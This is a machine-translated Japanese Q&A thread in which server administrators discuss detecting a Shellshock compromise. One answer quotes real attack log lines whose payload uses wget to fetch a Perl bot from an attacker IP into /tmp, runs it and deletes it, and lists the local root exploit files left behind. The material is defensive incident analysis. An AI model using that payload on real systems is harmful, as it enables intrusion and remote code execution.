回答:
Shellshockのバグが原因でサーバーが既に侵害されているかどうかを確認するにはどうすればよいですか?
あなたはしません。それがセキュリティの脆弱性です。[ クラッカーを入れる]をクリックする必要がある場合は、OK /キャンセルしても、それほど脆弱ではありません。
攻撃ベクトルのログを確認する運はあるかもしれませんが、非常に多くのサービスが脆弱であり、すべてのアクセスがすべてのアクセスを記録するわけではないため、最終的に攻撃を見つけることは不可能です。
侵害された場合、悪意のあるファイルを探す特定のフォルダーはありますか?
いいえ、悪意のあるファイルはどこにでも存在する可能性があります。
一般的なルートキットはで自分自身をインストールする/root
か、/
または/tmp
またはバイナリのパスのいずれかが、本当に彼らはどこにでもある可能性があります。実際のサービスに似た名前や、「IPTables
」や「kernel-bin
」のように見える「重要」な名前が付いている場合がありますが、ランダムな文字列または本物のバイナリと同じ名前(異なるパスにある)でもかまいません。で本当に明らかなルートキットの読み込み/etc/rc.local
または接続を見つけることができnetstat -neopa
ます。で疑わしいプロセス名を探しtop -c
ます。
あまり一般的ではなく、見つけるのがはるかに難しいルートキットは、ライブラリを置き換えるか、シムライブラリとしてロードしてシステムコールをインターセプトします。これは、システム上で実行されているすべてのものをstrace / ltraceし、動作を既知の正常なシステムまたはソースコードの予想される動作と比較しない限り、ほとんど見つけることができません。
システムをリロードするだけで、より速く、より簡単に、より確実になります。
悪意のあるファイルはどのように見えますか?
おそらく他の通常のELFバイナリまたはライブラリと同様です。スクリプトの場合もあります。
結論として、システムが危険にさらされている可能性があると思われる場合は、システムが危険にさらされているかのように扱い、必要な措置を講じてください。
bash
インストールされ、ネットワークケーブルが差し込まれているすべての可能なシステムを意味しますか?
shellshockはワームではないため、検索するファイルはありません。Shellshockは、ネットワークを攻撃して侵入する方法です。攻撃者が何をするかを誰が知っているか。
is there a particular folder where I should look for malicious files
。
私はsuprjamiからの答えをエコーし、あなたのシステムが脆弱な場合、あなたはそれを侵害されたものとして扱うべきだと言います。
Apacheを実行している場合は、次のコマンドでShellshockの侵入試行のログを確認できます。
[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"
このコマンドは、Apacheのアクセスログ(デフォルトではaccess_log、access_log.1、access_log.2など)から「cgi」を含むすべての行を抽出し、正規表現を使用してegrepにパイプします。
(ソース:http : //linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash)
Shellshockにはいくつかの攻撃ベクトルがあり、それらのいくつかはまだ一般に知られていないか、カスタムCGIスクリプトが原因であるため、侵害されているかどうかを明確に判断する方法はありません。
通常の「いくつかのシステムファイルが変更されたか、最近疑わしい何かが最近発生したかどうかを確認しましょう」アプローチに加えて、サーバーの動作に注意してください。
netstat
奇妙なネットワーク接続または表示しps aux
、あなたが認識していないショーのプロセスを?適切なサーバーヘルスモニタリング(などZabbix
)が稼働している場合、セキュリティ違反の発見にも役立ちます。また、システムファイルのMD5 / SHAの合計を既知の正常なバックアップと比較することもできます。
基本的には、サーバーが危険にさらされたときに機能し、考えられるすべてを調査します。
侵害された古いPleskシステムをクリーンアップすることができました。最初に与えられたのは、多くのポートをリッスンし始めたプロセスや、元のスキャンサーバーからコードをダウンロードしようとする他のプロセスでした。
lsof -i -n
...
perl 1899 user100 3u IPv4 227582583 0t0 TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
perl 1999 user101 3u IPv4 227582597 0t0 TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
perl 2016 wwwrun 3u IPv4 227549964 0t0 TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...
ログを見ると、究極の穴はcgi_wrapper
スクリプトであることがわかりました。システムを保護およびシールドするはずの何かが、実際に穴を保護に引き裂いたものです。プローブからのログ行と成功した攻撃の一部を次に示します。
これらはaccess_logからの行です。これは単なるサンプルであり、2行のうち200行に注意してください。他の行は404で失敗します。しかし、200を持っている人はそうしました。ここでのこれらの攻撃のパターンは常に同じです。1.脆弱なcgiスクリプトを見つけて、shellshockエクスプロイトを使用してperlスクリプトをダウンロードして実行し、perlスクリプトを再度削除します。perlスクリプトは、実際にはいくつかのソースファイル(tgz)をダウンロードしてコンパイルし、実行します。少なくともバックドアと自動更新メカニズムが含まれていることがわかりました。すべての初期スクリプトは、ラッパーによって提供されたユーザーとして実際に実行されますが、後のサービスは1のPPID(ルートプロセスから開始)で開始されます)。
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
そして、対応するerror_log行は次のとおりです。
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03-- http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34-- http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
/ tmpにダウンロードされたファイル推測されるかもしれませんが、bot.plファイルはすぐに削除されるため、持っていません。
-rwxr-xr-x 1 user100 psacln 187 Sep 29 01:02 check
-rwxr-xr-x 1 user100 psacln 9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100 psacln 4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100 psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100 psacln 178 Sep 29 03:35 payload.c
cd ./expls
drwxr-xr-x 2 user100 psacln 4096 Sep 29 03:13 1
drwxr-xr-x 2 user100 psacln 4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100 psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100 psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100 psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100 psacln 2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100 psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100 psacln 6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100 psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100 psacln 6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100 psacln 2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100 psacln 4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100 psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100 psacln 1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100 psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100 psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100 psacln 9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100 psacln 419 Sep 29 02:03 origin
-rw-r--r-- 1 user100 psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100 psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100 psacln 3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100 psacln 2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100 psacln 208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100 psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100 psacln 7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100 psacln 233 Sep 29 03:13 run
-rwxr-xr-x 1 user100 psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100 psacln 3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100 psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100 psacln 4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100 psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100 psacln 2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100 psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100 psacln 159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100 psacln 9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100 psacln 2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100 psacln 438 Sep 29 03:13 start
-rwxr-xr-x 1 user100 psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100 psacln 5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100 psacln 25396 Sep 29 02:46 x86_64.c
しばらくして、私たちのサーバーをあまり訪れない中国のような様々な場所からのssh接続に気付きました。緊急対策としてbashにパッチを適用しました(パッチを適用したソースをFSF Webサイトから入手でき、本当に古いソースとパッチファイル(最初は正しく適用されなかったものの1つではありません)。今すぐ拭いてください。だから誰かが攻撃について何か他のものを探しているなら、あなたは尋ねることができますが、すぐにそれをしてください。
この答えは特にShellshockに関連するものではありませんが、どのシステムでも侵害されていると思われるかもしれません
2番目の注意:侵害されたルートシステムから回復したことを確認することはできません。あなたの唯一のアクションは、システムを破棄して再プロビジョニングすることです
のきれいな静的ビルドを取得して、rpm
commandを実行してみてくださいrpm --verify --all
。パッケージに属するどのファイルが変更されたかがわかります。しかし、侵害されたシステムで実行する可能性があるため、結果を完全に信頼できない可能性があります。次に、単純にa rpm -qa
を実行してパッケージのリストを取得し、同じパッケージバージョンで別のシステムを再作成してから、find / -type f |xargs -r -n 100 md5sum |sort
両方のシステムでaを実行して、違いを確認します。また、システムを適切に管理している場合(/ optまたは/ usr / local / binまたは別の管理されていない場所以外に手動でインストールしないことを意味します)、パッケージに属さないシステム内のすべてのファイルを検索できますfind / -type f -exec rpm -qf {} \;
。不明なファイルのエラーが表示されます。エクササイズとしてポジティブを見せないようにします;-)
暗号化証明で定期的に同じことを行うTripwire
ために、無料版としてまだ見つかるツールがあります。それは古いですが、その仕事をします。新しい代替手段はですがAIDE
、数年前に見たときに暗号を使用していませんでした。
役立つツールがいくつかあります。たとえば、packageを探しますrkhunter
。既知のルートツールキットと悪用されたファイルがないかコンピューターをスキャンします。
明らかに、これらのツールは、システムが侵害される前にインストールおよび構成されている必要があります。また、システムがルートアクセスに正常にハッキングされた場合、これらのツールも対象にできます。また、これらのツールは非常に集中的であり、システムの速度を低下させる可能性があります。
サーバーが危険にさらされているかどうかを知る唯一の方法は、ファイルのどこかに署名を付けて、現在のファイルとそれを比較することです。それにもかかわらず、あなたはあなたが脆弱かどうか見ることができます。
Linuxボックスが危険にさらされているかどうかを確認する方法。
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
ifが返される場合
vulnerable
this is a test
あなたは。
更新を実行するには、rootで次のコマンドを実行します
sudo yum update bash
yum
、別のパッケージマネージャーではなく、実行していることを前提としています。
次のコマンド(CSAが提供するコード)を実行することにより、脆弱かどうかを確認できます。ターミナルウィンドウを開き、$プロンプトで次のコマンドを入力します。
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bashが最新でない場合は、次のように印刷されます:
vulnerable
this is a test
bashが最新の場合は、次のもののみが表示されます。
this is a test
詳細はこのリンクの後ろにあります。